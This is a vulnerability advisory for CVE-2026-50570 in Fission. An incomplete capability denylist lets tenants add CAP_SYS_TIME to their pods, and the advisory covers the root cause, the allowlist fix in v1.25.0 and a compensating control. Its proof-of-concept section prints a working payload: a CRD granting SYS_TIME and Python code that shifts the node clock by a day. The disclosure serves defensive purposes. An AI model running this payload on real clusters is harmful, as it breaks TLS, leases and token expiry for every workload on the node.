high · 8.5CVE-2026-50570Jul 28, 2026

CVE-2026-50570: Fission Incomplete Capability Denylist Allows CAP_SYS_TIME Privilege Escalation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Fission's admission webhook and executor merge layer only blocked six Linux capabilities by name, so a tenant could add CAP_SYS_TIME to a Function or Environment pod and corrupt the shared node wall…

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.24.0
Fixed in1.25.0
CVE-2026-50570: Fission Incomplete Capability Denylist Allows CAP_SYS_TIME Privilege Escalation

The problem

Fission v1.24.0 introduced PodSpec safety validation via ValidatePodSpecSafety / ValidateContainerSafety and a merge-layer sanitizer. Both enforced a fixed denylist of exactly six capabilities: SYS_ADMIN, NET_ADMIN, SYS_PTRACE, SYS_MODULE, DAC_READ_SEARCH, and DAC_OVERRIDE.

CAP_SYS_TIME was not in the list. A tenant with only environments.fission.io/create or functions.fission.io/create permission could submit a CRD spec with capabilities.add: ["SYS_TIME"], pass both the admission webhook and the executor merge layer, and run code with that capability.

Linux time namespaces do not virtualize CLOCK_REALTIME, so the container could call clock_settime(CLOCK_REALTIME) and shift the wall clock for every workload on the node, corrupting TLS validity windows, Kubernetes lease renewal, and token expiry.

Proof of concept

A working proof-of-concept for CVE-2026-50570 in github.com/fission/fission, with the exact payload below.

bash
# Environment CRD -- add SYS_TIME to a runtime container (passes v1.24.0 admission)
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: pwn-env
  namespace: default
spec:
  version: 3
  runtime:
    image: python:3.11
    container:
      securityContext:
        capabilities:
          add: ["SYS_TIME"]   # not in the six-entry denylist; admitted cleanly
---
# Once the environment pod is running, exploit CAP_SYS_TIME:
# python3 -c "
import ctypes, time
CLOCK_REALTIME = 0
class Timespec(ctypes.Structure):
    _fields_ = [("tv_sec", ctypes.c_long), ("tv_nsec", ctypes.c_long)]
ts = Timespec(tv_sec=int(time.time()) + 86400, tv_nsec=0)
ctypes.CDLL("librt.so.1").clock_settime(CLOCK_REALTIME, ctypes.byref(ts))
print("node wall clock shifted +24h")
# "

The root cause is CWE-269 / CWE-732: the denylist in pkg/apis/core/v1/podspec_safety.go (dangerousCapabilities) and pkg/executor/util/merge.go (dangerousMergeContainerCapabilities) enumerated only six capabilities. Any capability omitted from the list passed both enforcement layers.

The patch in PR #3465 (commit 2569b42b) replaced both denylist checks with a single allowlist (allowedCapabilities = {NET_BIND_SERVICE}), so any capabilities.add entry not explicitly permitted is now rejected at admission and stripped at merge time. The same commit forces capabilities.drop: ["ALL"] at the merge layer, removing the OCI runtime default cap set from every tenant container.

The fix

Upgrade to Fission v1.25.0. PR #3465 (commit 2569b42b) replaces the denylist with a PSA-restricted allowlist: only NET_BIND_SERVICE is permitted in capabilities.add. The executor merge layer also now forces capabilities.drop: ["ALL"] on every container. CEL x-kubernetes-validations rules added to the CRDs enforce the same constraint at the API server before the webhook is invoked.

If upgrading immediately is not possible, enforce a Pod Security Admission restricted profile on the Fission function-pod namespace as a compensating control; that causes the API server to reject SYS_TIME pods at creation.

Reported by Sanket Sudake (sanketsudake).

References: [1][2][3][4][5][6]

Related research